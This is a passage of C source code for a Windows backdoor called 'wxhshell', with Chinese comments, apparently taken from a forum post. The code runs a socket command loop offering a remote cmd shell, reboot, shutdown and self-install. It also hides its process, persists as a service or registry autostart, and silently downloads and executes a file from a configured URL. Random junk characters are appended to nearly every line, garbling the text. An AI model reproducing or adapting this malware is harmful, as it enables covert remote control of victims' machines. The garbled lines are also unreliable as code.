    switch(cmd[0]) { / 5!0wxN  
  ag_*Z\  
  // 帮助 .+07 Ui]I!  
  case '?': { -JEiwi,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J~]Y  
    break; |)+s,LT5  
  } HUA{ P%  
  // 安装 !K8Kw W|X  
  case 'i': { _o52#Q4   
    if(Install()) +]3kcm7B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )+ V)]dS@%  
    else (# c|San  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1dhuLN%Ce  
    break; 22T\ -g{  
    } h-f`as"d  
  // 卸载 zA>LrtyK(=  
  case 'r': { 2zV{I*  
    if(Uninstall()) =*5< w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `SH14A*  
    else &o;d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? K,d  
    break; ;!+-fn4C  
    } %lnVzGP  
  // 显示 wxhshell 所在路径 }Q?a6(4  
  case 'p': { K1+4W=|  
    char svExeFile[MAX_PATH]; )ZW[$:wA  
    strcpy(svExeFile,"\n\r"); \ xJ_ )r  
      strcat(svExeFile,ExeFile); j* ZU}Ss  
        send(wsh,svExeFile,strlen(svExeFile),0); yPd6{% w  
    break; 8FIk|p|l^  
    } 8345 H  
  // 重启 T4nWK!}z  
  case 'b': { 9+iz+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .6=;{h4cpB  
    if(Boot(REBOOT)) q'Nafa&a)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 64L;np>  
    else { r j.X"  
    closesocket(wsh); k\TP3*fD  
    ExitThread(0); j"s7P%  
    } j8G$,~v  
    break; lu?:1V-  
    } k%TBpG:T  
  // 关机 bZ>dr{%%e  
  case 'd': { _P` ^B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T)I\?hqTB  
    if(Boot(SHUTDOWN)) 2lCgUe)N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b['v0x  
    else { Pav W@  
    closesocket(wsh); kz/"5gX:  
    ExitThread(0); 8RI'Fk{  
    } Q!!u=}GYK  
    break; %a?\y_a=b  
    } n) j0h-  
  // 获取shell I 6'!b/  
  case 's': { p/qu4[Mm  
    CmdShell(wsh); P6I<M}p  
    closesocket(wsh); (!PsK:wc  
    ExitThread(0); O I0N(V  
    break; 'T|EwrS j  
  } !Ln 'Mi_B  
  // 退出 hD[r6c  
  case 'x': { AHo}K\O?r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M>Q3;s  
    CloseIt(wsh); vGnFX0?h  
    break; 25Ro )5  
    } k. NJ+  
  // 离开 [4hi/6 0  
  case 'q': { X`(fJ',  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); va:<W H  
    closesocket(wsh);  )$GCur~  
    WSACleanup(); Cw"[$E'J  
    exit(1); I)kc[/^j$  
    break; =A*a9c2  
        } N^M6*,F,J  
  } 1% C EUE  
  } BCuoFw)  
FUXJy{n6"2  
  // 提示信息 B]NcY&A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9q+W>wt  
} n2~WUK  
  } Zd'Yu{<_2N  
|@~_&g  
  return; )Ii`/I^  
} fk9q3  
-G~/ GO  
// shell模块句柄 RU=\eD  
int CmdShell(SOCKET sock) %{7*o5`  
{ P3IBi_YyG1  
STARTUPINFO si; !RPE-S  
ZeroMemory(&si,sizeof(si)); Vc;g$Xr[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M~7Cb>%<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VC0Tqk  
PROCESS_INFORMATION ProcessInfo;  "UreV  
char cmdline[]="cmd"; Ke:WlDf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KLW>O_+   
  return 0; +_kA&Q(t  
} 6"o=`Sq  
c&P/v#U_  
// 自身启动模式 1V9AnzwX  
int StartFromService(void) E=CAWj\  
{ s)fahc(@E  
typedef struct Q@W!6]*\  
{ =)G]\W)m  
  DWORD ExitStatus; Caz5q|Oo  
  DWORD PebBaseAddress; YR? E z<p  
  DWORD AffinityMask; |h%HUau  
  DWORD BasePriority; eXD~L&s[  
  ULONG UniqueProcessId; 7W*a+^   
  ULONG InheritedFromUniqueProcessId; XjCx`bX^<  
}   PROCESS_BASIC_INFORMATION; :?j=MV  
:nR80]  
PROCNTQSIP NtQueryInformationProcess; nW*cqM%+  
B'Jf&v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4:S]n19nq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &ds+9A  
Mtv{37k~  
  HANDLE             hProcess; XI |k,Ko<  
  PROCESS_BASIC_INFORMATION pbi; 8V}|(b#  
;N(L,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rM^2yr7H  
  if(NULL == hInst ) return 0; 9-V'U\}L  
t#@z_Mn\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sp:4b$zX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k \qFWFR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `)5WA{z  
UGd\`*Cj  
  if (!NtQueryInformationProcess) return 0; 4`)r1D!U  
-.y1]4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); & !ds#-  
  if(!hProcess) return 0; i NfAn&  
tc/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I*^t!+q$  
[*5]NNB  
  CloseHandle(hProcess); +p63J  
9Bw#VQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }eW<P079  
if(hProcess==NULL) return 0; B @QWr;  
GS=E6  
HMODULE hMod; hSw=Oq82  
char procName[255]; Y2XxfZ j  
unsigned long cbNeeded; ~-6_-Y|  
Y%kOq`uT=n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vpf.0!zh  
f,E7eL@  
  CloseHandle(hProcess); PuREqa\_[  
FG[rH]   
if(strstr(procName,"services")) return 1; // 以服务启动 lct  
YC8IwyL'  
  return 0; // 注册表启动 yU&;\'  
} ~v;+-*t  
~tt\^:\3~S  
// 主模块 .4R.$`z4  
int StartWxhshell(LPSTR lpCmdLine) lya},_WCq  
{ p&x!m}!  
  SOCKET wsl; /+J nEFf  
BOOL val=TRUE; Li} 5aK  
  int port=0; gN />y1{a  
  struct sockaddr_in door; ,8Po _[  
f$\ O:E=  
  if(wscfg.ws_autoins) Install(); &K60n6q{aQ  
_qf39fM;\  
port=atoi(lpCmdLine); /q\e&&e  
~a[ /l  
if(port<=0) port=wscfg.ws_port; bA,Zfsr6#  
-$o0P'Vx  
  WSADATA data; 5v)bs\x6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o ?vGI=  
Q17dcgd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    |@'O3KA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /P@%{y  
  door.sin_family = AF_INET; cZ?$_;=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O 7 aLW  
  door.sin_port = htons(port); s$>n U  
<^Vj1s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :=;{w~D  
closesocket(wsl); }R#W<4:  
return 1; PBb&.<   
} 9/29>K_  
PjEJ C@n  
  if(listen(wsl,2) == INVALID_SOCKET) { f\dfKNm6  
closesocket(wsl); ^@AyC"K  
return 1; RYEZ'<  
} I:iMRvp  
  Wxhshell(wsl); N4C7I1ihq  
  WSACleanup(); =n"kgn  
|EX=Rj*  
return 0; }q@#M8b  
i,*m(C@F}  
} 9;U?_   
t kj  
// 以NT服务方式启动 4\&Y;upy+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F!EiF&[\J  
{ QcQ%A%VIV  
DWORD   status = 0; |A 'I!Jm  
  DWORD   specificError = 0xfffffff; kJ FWk  
/9G72AD!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Lcpe*C x-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4)8VmCW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A)sYde(  
  serviceStatus.dwWin32ExitCode     = 0; {m>ylE  
  serviceStatus.dwServiceSpecificExitCode = 0; 1Y'4 g3T  
  serviceStatus.dwCheckPoint       = 0; ulIEx~qP  
  serviceStatus.dwWaitHint       = 0; A,DBq9Z+4R  
D1xGUz2r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]qv0Y~+`-K  
  if (hServiceStatusHandle==0) return; Yu3S3aRE  
H"l4b4)N\  
status = GetLastError();  rvd $4l^  
  if (status!=NO_ERROR) WqNXE)'  
{ %/ y=_G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #mu L-V  
    serviceStatus.dwCheckPoint       = 0; tn' Jkwp  
    serviceStatus.dwWaitHint       = 0; ,<tJ` ,0X  
    serviceStatus.dwWin32ExitCode     = status; 6I@j$edZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; k(dakFaC^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6K pq~o   
    return; v{a%TA9-  
  } Q!1;xw~  
WZNq!K H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &[-(=43@  
  serviceStatus.dwCheckPoint       = 0; 8-nf4=ll  
  serviceStatus.dwWaitHint       = 0; ~%/Rc`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zg<-%r'$  
} . |T=T0^  
w7U]-MW6A*  
// 处理NT服务事件,比如:启动、停止 32\.-v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aP  
{ t Y  
switch(fdwControl) ^b+>r  
{ RtMI[  
case SERVICE_CONTROL_STOP: v<!S_7h  
  serviceStatus.dwWin32ExitCode = 0; S"Cz. bv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {g%N(2  
  serviceStatus.dwCheckPoint   = 0; BUBx}dbCM  
  serviceStatus.dwWaitHint     = 0; eTS}-  
  { $5&%X'jk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^r\ rpSN  
  } JkAM:,^(  
  return; sg $db62>  
case SERVICE_CONTROL_PAUSE: yv[j Pbe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }UW7py!TN  
  break; luf5-XT  
case SERVICE_CONTROL_CONTINUE: I$xZV?d.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /IUu-/ D  
  break; )Fv.eIBY  
case SERVICE_CONTROL_INTERROGATE:  l!|c_  
  break; fkzSX8a9}  
}; 2H|:/y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /e'3\,2_  
} LW]fme<V?  
9b+jT{Tg  
// 标准应用程序主函数 n(F!t,S1i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) | ;tH?E  
{ /sKL|]i=  
nHm}^.B*+  
// 获取操作系统版本 `$6o*g>:  
OsIsNt=GetOsVer(); YJ _eE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C$y6^/7)  
!2LX+*;  
  // 从命令行安装 K&|h%4O  
  if(strpbrk(lpCmdLine,"iI")) Install(); 15g! Q *v  
,&t+D-s<f  
  // 下载执行文件 te+}j7SU  
if(wscfg.ws_downexe) { V,&%[H [  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l$;"yVdks  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9*)&hhBs,  
} ff#7}9_mh  
\Z]+j@9  
if(!OsIsNt) { ?gE=hh  
// 如果时win9x,隐藏进程并且设置为注册表启动 RPz[3y  
HideProc(); ~`OX}h/Z  
StartWxhshell(lpCmdLine); D|LO!,=b  
} y7,fFUKl  
else p&<Ssc  
  if(StartFromService()) 2Xt4Rqk$  
  // 以服务方式启动 u;`]U$Qq9  
  StartServiceCtrlDispatcher(DispatchTable); QHk\Z  
else x%B_v^^^  
  // 普通方式启动 ?Z#N9Z~\  
  StartWxhshell(lpCmdLine); T`bYidA  
,"%C.9a  
return 0; &GP(yj]  
}
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只看该作者 1 发表于: 2006-10-10
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